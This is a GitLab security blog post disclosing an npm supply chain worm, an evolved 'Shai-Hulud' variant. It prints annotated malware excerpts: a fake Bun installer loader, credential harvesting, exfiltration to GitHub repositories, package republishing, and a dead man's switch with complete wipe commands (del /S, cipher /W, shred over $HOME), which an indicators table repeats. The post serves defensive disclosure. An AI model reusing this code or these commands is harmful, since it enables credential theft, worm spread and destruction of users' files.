Published on: November 24, 2025

8 min read

GitLab discovers widespread npm supply chain attack

Malware driving attack includes "dead man's switch" that can harm user data.

GitLab's Vulnerability Research team has identified an active, large-scale supply chain attack involving a destructive malware variant spreading through the npm ecosystem. Our internal monitoring system has uncovered multiple infected packages containing what appears to be an evolved version of the "Shai-Hulud" malware.

Early analysis shows worm-like propagation behavior that automatically infects additional packages maintained by impacted developers. Most critically, we've discovered the malware contains a "dead man's switch" mechanism that threatens to destroy user data if its propagation and exfiltration channels are severed.

We verified that GitLab was not using any of the malicious packages and are sharing our findings to help the broader security community respond effectively.

Inside the attack

Our internal monitoring system, which scans open-source package registries for malicious packages, has identified multiple npm packages infected with sophisticated malware that:

  • Harvests credentials from GitHub, npm, AWS, GCP, and Azure
  • Exfiltrates stolen data to attacker-controlled GitHub repositories
  • Propagates by automatically infecting other packages owned by victims
  • Contains a destructive payload that triggers if the malware loses access to its infrastructure

While we've confirmed several infected packages, the worm-like propagation mechanism means many more packages are likely compromised. The investigation is ongoing as we work to understand the full scope of this campaign.

Technical analysis: How the attack unfolds

mermaid chart of how the attack unfolds

Initial infection vector

The malware infiltrates systems through a carefully crafted multi-stage loading process. Infected packages contain a modified package.json with a preinstall script pointing to setup_bun.js. This loader script appears innocuous, claiming to install the Bun JavaScript runtime, which is a legitimate tool. However, its true purpose is to establish the malware's execution environment.

// This file gets added to victim's packages as setup_bun.js
#!/usr/bin/env node
async function downloadAndSetupBun() {
  // Downloads and installs bun
  let command = process.platform === 'win32' 
    ? 'powershell -c "irm bun.sh/install.ps1|iex"'
    : 'curl -fsSL https://bun.sh/install | bash';
  
  execSync(command, { stdio: 'ignore' });
  
  // Runs the actual malware
  runExecutable(bunPath, ['bun_environment.js']);
}

The setup_bun.js loader downloads or locates the Bun runtime on the system, then executes the bundled bun_environment.js payload, a 10MB obfuscated file already present in the infected package. This approach provides multiple layers of evasion: the initial loader is small and seemingly legitimate, while the actual malicious code is heavily obfuscated and bundled into a file too large for casual inspection.

Credential harvesting

Once executed, the malware immediately begins credential discovery across multiple sources:

  • GitHub tokens: Searches environment variables and GitHub CLI configurations for tokens starting with ghp_ (GitHub personal access token) or gho_(GitHub OAuth token)
  • Cloud credentials: Enumerates AWS, GCP, and Azure credentials using official SDKs, checking environment variables, config files, and metadata services
  • npm tokens: Extracts tokens for package publishing from .npmrc files and environment variables, which are common locations for securely storing sensitive configuration and credentials.
  • Filesystem scanning: Downloads and executes Trufflehog, a legitimate security tool, to scan the entire home directory for API keys, passwords, and other secrets hidden in configuration files, source code, or git history
async function scanFilesystem() {
  let scanner = new Trufflehog();
  await scanner.initialize();
  
  // Scan user's home directory for secrets
  let findings = await scanner.scanFilesystem(os.homedir());
  
  // Upload findings to exfiltration repo
  await github.saveContents("truffleSecrets.json", 
    JSON.stringify(findings));
}

Data exfiltration network

The malware uses stolen GitHub tokens to create public repositories with a specific marker in their description: "Sha1-Hulud: The Second Coming." These repositories serve as dropboxes for stolen credentials and system information.

async function createRepo(name) {
  // Creates a repository with a specific description marker
  let repo = await this.octokit.repos.createForAuthenticatedUser({
    name: name,
    description: "Sha1-Hulud: The Second Coming.", // Marker for finding repos later
    private: false,
    auto_init: false,
    has_discussions: true
  });
  
  // Install GitHub Actions runner for persistence
  if (await this.checkWorkflowScope()) {
    let token = await this.octokit.request(
      "POST /repos/{owner}/{repo}/actions/runners/registration-token"
    );
    await installRunner(token); // Installs self-hosted runner
  }
  
  return repo;
}

Critically, if the initial GitHub token lacks sufficient permissions, the malware searches for other compromised repositories with the same marker, allowing it to retrieve tokens from other infected systems. This creates a resilient botnet-like network where compromised systems share access tokens.

// How the malware network shares tokens:
async fetchToken() {
  // Search GitHub for repos with the identifying marker
  let results = await this.octokit.search.repos({
    q: '"Sha1-Hulud: The Second Coming."',
    sort: "updated"
  });
  
  // Try to retrieve tokens from compromised repos
  for (let repo of results) {
    let contents = await fetch(
      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
    );
    
    let data = JSON.parse(Buffer.from(contents, 'base64').toString());
    let token = data?.modules?.github?.token;
    
    if (token && await validateToken(token)) {
      return token;  // Use token from another infected system
    }
  }
  return null;  // No valid tokens found in network
}

Supply chain propagation

Using stolen npm tokens, the malware:

  1. Downloads all packages maintained by the victim
  2. Injects the setup_bun.js loader into each package's preinstall scripts
  3. Bundles the malicious bun_environment.js payload
  4. Increments the package version number
  5. Republishes the infected packages to npm
async function updatePackage(packageInfo) {
  // Download original package
  let tarball = await fetch(packageInfo.tarballUrl);
  
  // Extract and modify package.json
  let packageJson = JSON.parse(await readFile("package.json"));
  
  // Add malicious preinstall script
  packageJson.scripts.preinstall = "node setup_bun.js";
  
  // Increment version
  let version = packageJson.version.split(".").map(Number);
  version[2] = (version[2] || 0) + 1;
  packageJson.version = version.join(".");
  
  // Bundle backdoor installer
  await writeFile("setup_bun.js", BACKDOOR_CODE);
  
  // Repackage and publish
  await Bun.$`npm publish ${modifiedPackage}`.env({
    NPM_CONFIG_TOKEN: this.token
  });
}

The dead man's switch

Our analysis uncovered a destructive payload designed to protect the malware’s infrastructure against takedown attempts.

The malware continuously monitors its access to GitHub (for exfiltration) and npm (for propagation). If an infected system loses access to both channels simultaneously, it triggers immediate data destruction on the compromised machine. On Windows, it attempts to delete all user files and overwrite disk sectors. On Unix systems, it uses shred to overwrite files before deletion, making recovery nearly impossible.

// CRITICAL: Token validation failure triggers destruction
async function aL0() {
  let githubApi = new dq();
  let npmToken = process.env.NPM_TOKEN || await findNpmToken();
  
  // Try to find or create GitHub access
  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos
    
    if (!fetchedToken) {  // No GitHub access possible
      if (npmToken) {
        // Fallback to NPM propagation only
        await El(npmToken);
      } else {
        // DESTRUCTION TRIGGER: No GitHub AND no NPM access
        console.log("Error 12");
        if (platform === "windows") {
          // Attempts to delete all user files and overwrite disk sectors
          Bun.spawnSync(["cmd.exe", "/c", 
            "del /F /Q /S \"%USERPROFILE%*\" && " +
            "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
            "cipher /W:%USERPROFILE%"  // Overwrite deleted data
          ]);
        } else {
          // Attempts to shred all writable files in home directory
          Bun.spawnSync(["bash", "-c", 
            "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
            "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
            "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
          ]);
        }
        process.exit(0);
      }
    }
  }
}

This creates a dangerous scenario. If GitHub mass-deletes the malware's repositories or npm bulk-revokes compromised tokens, thousands of infected systems could simultaneously destroy user data. The distributed nature of the attack means that each infected machine independently monitors access and will trigger deletion of the user’s data when a takedown is detected.

Indicators of compromise

To aid in detection and response, here is a more comprehensive list of the key indicators of compromise (IoCs) identified during our analysis.

Type Indicator Description
file bun_environment.js Malicious post-install script in node_modules directories
directory .truffler-cache/ Hidden directory created in user home for Trufflehog binary storage
directory .truffler-cache/extract/ Temporary directory used for binary extraction
file .truffler-cache/trufflehog Downloaded Trufflehog binary (Linux/Mac)
file .truffler-cache/trufflehog.exe Downloaded Trufflehog binary (Windows)
process del /F /Q /S "%USERPROFILE%*" Windows destructive payload command
process shred -uvz -n 1 Linux/Mac destructive payload command
process cipher /W:%USERPROFILE% Windows secure deletion command in payload
command curl -fsSL https://bun.sh/install | bash Suspicious Bun installation during NPM package install
command powershell -c "irm bun.sh/install.ps1|iex" Windows Bun installation via PowerShell

Looking ahead

This campaign represents an evolution in supply chain attacks where the threat of collateral damage becomes the primary defense mechanism for the attacker's infrastructure. The investigation is ongoing as we work with the community to understand the full scope and develop safe remediation strategies.

GitLab's automated detection systems continue to monitor for new infections and variations of this attack. By sharing our findings early, we hope to help the community respond effectively while avoiding the pitfalls created by the malware's dead man's switch design.

We want to hear from you

Enjoyed reading this blog post or have questions or feedback? Share your thoughts by creating a new topic in the GitLab community forum.
Share your feedback

50%+ of the Fortune 100 trust GitLab

Start shipping better software faster

See what your team can do with the intelligent

DevSecOps platform.